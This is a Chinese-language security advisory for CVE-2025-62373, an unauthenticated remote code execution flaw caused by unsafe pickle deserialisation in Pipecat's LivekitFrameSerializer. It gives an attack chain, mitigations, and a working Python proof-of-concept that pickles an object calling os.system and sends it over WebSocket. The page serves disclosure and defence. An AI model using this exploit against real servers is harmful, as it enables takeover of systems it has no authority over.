IPBUF安全漏洞报告
English
CVE-2025-62373 CVSS 9.8 严重

CVE-2025-62373 Pipecat远程代码执行漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2025-62373
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Pipecat

相关标签

RCE远程代码执行反序列化PipecatPythonPickleCVE-2025-62373

漏洞概述

Pipecat框架0.0.41至0.0.93版本存在严重安全漏洞。其LivekitFrameSerializer类在处理WebSocket客户端数据时,使用了不安全的pickle.loads()反序列化方法且未进行验证。攻击者可利用此漏洞发送恶意Pickle载荷,在服务器端远程执行任意代码。

技术细节

漏洞位于`src/pipecat/serializers/livekit.py`文件中的`LivekitFrameSerializer`类。该类是一个可选的LiveKit集成组件,其`deserialize()`方法直接对来自WebSocket客户端的数据调用`pickle.loads()`。由于Python的pickle机制在反序列化不受信任的数据时允许执行任意代码,且该组件未对输入数据进行清洗或验证,导致存在不安全的反序列化漏洞。当服务器配置使用此序列化器并监听外部接口时,网络攻击者无需认证即可连接并发送特制的恶意Pickle对象,导致服务器解析并执行其中的恶意代码,从而完全控制服务器。

攻击链分析

STEP 1
信息收集
攻击者扫描网络,识别出使用Pipecat框架并开放了WebSocket接口的目标服务器。
STEP 2
连接服务
攻击者与目标服务器的WebSocket端点建立连接。
STEP 3
发送载荷
攻击者构造包含恶意Python代码的Pickle数据包,并通过WebSocket发送给服务器。
STEP 4
代码执行
服务器端的LivekitFrameSerializer接收数据并调用pickle.loads()进行反序列化,触发恶意代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import websockets import asyncio # Malicious class to execute command when deserialized class ExploitPayload: def __reduce__(self): # Execute 'id' command on the server return (__import__('os').system, ('id',)) async def send_exploit(target_uri): # Serialize the malicious object malicious_data = pickle.dumps(ExploitPayload()) try: async with websockets.connect(target_uri) as websocket: # Send the payload to the vulnerable server await websocket.send(malicious_data) print(f"[+] Payload sent to {target_uri}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with the actual WebSocket URL of the target target = "ws://127.0.0.1:8080" asyncio.run(send_exploit(target))

影响范围

Pipecat >= 0.0.41, <= 0.0.93

防御指南

临时缓解措施
若无法立即升级,应禁用或移除代码中对LivekitFrameSerializer的引用。检查网络配置,确保服务不监听0.0.0.0,或通过防火墙严格限制可访问的IP地址。同时,应审查所有使用pickle处理外部数据的代码路径,确保数据来源可信。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表